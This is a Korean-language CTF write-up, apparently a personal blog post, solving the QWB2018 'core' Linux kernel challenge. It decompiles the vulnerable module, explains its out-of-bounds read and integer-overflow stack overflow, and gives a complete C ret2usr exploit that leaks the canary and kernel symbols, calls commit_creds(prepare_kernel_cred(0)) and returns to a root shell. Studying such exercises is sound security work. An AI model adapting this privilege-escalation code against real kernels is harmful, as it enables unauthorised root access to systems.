롸업과 함께하는 첫 리눅스 커널 문제
환경 세팅
문제 파일은 여기서 받을 수 있다.
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core
파일들 중 core_give.tar.gz를 압축해제 해준다.
bzImage 파일은 커널 이미지 파일이다.
core.cpio 파일은 file system을 압축한 파일로 분석 대상 모듈(.ko) 파일이 들어 있다.
start.sh 파일은 qemu의 실행 옵션이 들어가 있는 셸 스크립트 파일이다.
vmlinux 파일은 커널 컴파일 시 생성되는 이미지 파일인데 커널 함수들의 offset을 알 수 있다.
core.cpio를 압축해제하여 타겟 모듈 파일을 얻어야 한다.
cp core.cpio core.gz
gzip -d core.gz
cpio -id -v < core
타겟 모듈 파일 core.ko가 나왔다.
이걸 이제 IDA로 분석한다.
추가적으로 디버깅 세팅을 위해
부트 스크립트인 start.sh를 수정해야 한다.
-m 옵션의 램 사이즈를 64에서 256으로 늘려줘야 커널 패닉을 피할 수 있다고 한다.
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
그리고 init 파일의 timeout 옵션을 늘려준다.
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 3000 -f & // 요부분 ! 3000으로 변경
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
IDA 분석
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
가장 먼저 실행되는 init_module에는 proc_create 함수가 있다.
gpt한테 물어보니까 이렇게 쓰인다고 하더라
name: 생성할 파일 또는 디렉토리의 이름을 나타내는 문자열입니다.
mode: 생성할 파일의 모드를 나타내는 비트 필드입니다. 예를 들어 S_IFREG를 사용하여 일반 파일을 생성할 수 있습니다.
parent: 새로운 파일이나 디렉토리의 부모 디렉토리를 나타내는 proc_dir_entry 구조체의 포인터입니다.
proc_fops: 파일의 동작을 정의하는 file_operations 구조체에 대한 포인터입니다.
core_fops에는 core_write, core_ioctl, core_release 함수가 정의되어 있다.
(함수 포인터들을 가진 구조체인듯)
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}
core_ioctl에선 a2의 값에 따라 분기하는 switch~case 구문이 존재한다.
각각의 분기를 살펴보면
core_read 호출, 전역 변수 off에 값 저장, core_copy_func 호출이다.
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 0x10LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 0x40LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}
copy_to_user 함수로 커널 영역의 값(v5[off])을 사용자 영역(a1)으로 복사한다.
자세히 보면 2번째 인자에 전역변수 off가 사용되는데 검증이 존재하지 않아 OOB read가 발생한다.
(core_ioctl에서 off 값 저장 가능)
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 0x3F )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}
core_copy_func를 보면 전역변수 name에서 v2로 a1만큼 복사하는 루틴이 존재한다.
integer issue가 존재하므로
a1의 값을 조작해서 bof를 트리거할 수 있겠다.
name에 값을 쓰는 건 core_write 함수를 통해 가능하다.
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 0xFFFFFFF2LL;
}
익스플로잇 시나리오는 다음과 같다.
1. copy_to_user 함수의 OOB read로 카나리 릭
2. core_write로 name에 페이로드를 작성
3. core_copy_func으로 bof 트리거 및 익스
익스플로잇
start.sh를 보면 kaslr이 걸려 있기 때문에 leak을 수행해야 한다.
OOB read를 통해서 스택에 남아있는 함수 주소를 긁어올 수도 있겠지만 그럴 필요가 없다.
그 이유는 아까 cpio.ko와 같이 나온 init파일을 보면 알 수 있다.
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
kadr로 인해서 현재 커널 함수들의 주소를 저장하고 있는 /proc/kallsyms는 root만 읽을 수 있다.
하지만 init파일을 보면 cat /proc/kallsyms > /tmp/kallsyms을 해준다.
이러면 /tmp/kallsyms파일을 읽음으로써 leak을 할 수 있게 된다.
익스플로잇에는 ret2usr 라는 기법이 사용되는데
1도 모르니까 익스 코드 보면서 공부해보자.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#define CORE_READ 1719109787
#define CORE_OFFSET 1719109788
#define CORE_COPY 1719109786
void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);
struct trap_frame{
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
}__attribute__((packed));
struct trap_frame tf;
void shell()
{
system("/bin/sh");
}
void backup_tf(void) {
asm("mov tf+8, cs;"
"pushf; pop tf+16;"
"mov tf+24, rsp;"
"mov tf+32, ss;"
);
tf.user_rip = &shell;
}
void *get_addr(char *name)
{
void *addr = NULL;
char sym[200] = { 0, };
FILE *fp = fopen("/tmp/kallsyms", "r");
while (fscanf(fp, "%p %*c %200s\n", &addr, sym) > 0)
{
if(strcmp(sym, name) == 0) break;
else addr = NULL;
}
fclose(fp);
return addr;
}
void exploit()
{
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&tf));
}
int main(void)
{
int fd = open("/proc/core", O_RDWR);
prepare_kernel_cred = get_addr("prepare_kernel_cred");
commit_creds = get_addr("commit_creds");
char tmp[70] = { 0, };
char canary[8] = { 0, };
char payload[0x70] = { 0, };
ioctl(fd, CORE_OFFSET, 0x40);
ioctl(fd, CORE_READ, tmp);
memcpy(canary, tmp, 8);
memset(payload, 'a', 0x40);
memcpy(payload+0x40, canary, 8);
memset(payload+0x48, 'a', 8);
*(uint64_t *)(payload+0x50)=(uint64_t)exploit;
backup_tf();
write(fd, payload, 0x58);
ioctl(fd, CORE_COPY, 0x8000000000000058);
return 0;
}
commit_creds(prepare_kernel_cred(0))으로 권한상승을 수행하고
바로 system("/bin/sh")를 불러주면 system함수를 호출하는 환경은 커널모드이므로
환경이 맞지 않아서 커널패닉이 발생한다.
따라서 권한상승을 수행한 후 유저모드로 복귀해서 system 함수를 호출해야 한다.
이를 위해선 다음과 같은 과정을 거친다.
1. swapgs
GSBase를 사용자 모드의 것으로 교체한다.
2. iret
iret는 유저모드로 복귀하는 명령이다.
iret은 스택에 저장해준 Trap Frame이라는 구조체를 이용하여 원래 실행 상태를 복구한다.
rip에 shell함수의 주소가 저장되도록 Trap Frame을 스택에 구성하면 루트 권한의 쉘을 얻을 수 있다.
익스플로잇 코드를 사용하기 위해선 core.cpio파일에 넣어줘야 한다.
주의할 점은 gcc로 컴파일할때 반드시 static옵션을 붙여줘야 한다.
(커널에서 동적 링커를 찾지 못해서 익스플로잇이 실행되지 않을 수 있기 때문)
gen_cpio.sh 파일이 주어졌기 때문에 이걸 사용해 주면 cpio 파일을 만들 수 있다.
gcc -masm=intel -static -o ex ex.c
./gen_cpio.sh core.cpio
cp core.cpio ../core.cpio
cd ..
./start.sh
만약 gen_cpio.sh 같은 것이 없다면 아래와 같은 명령으로 cpio를 만들 수 있다.
ls | cpio -o --format=newc > 이름아무거나.cpio
참고로 gen_cpio.sh의 내용은 다음과 같았다.
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
익스 코드 이해를 위해 ret2usr에 대해 공부해봐야겠다..
https://jeongzero.oopy.io/53d8f097-33fd-4321-9936-ddb10af9948f
'CTF' 카테고리의 다른 글
Grey Cat The Flag 2024 Qualifiers (0) | 2024.04.22 |
---|---|
AmateursCTF 2024 (1) | 2024.04.10 |
ACSC 2024 Quals (0) | 2024.04.01 |
Pearl CTF (0) | 2024.03.11 |
Shakti CTF 2024 (0) | 2024.03.10 |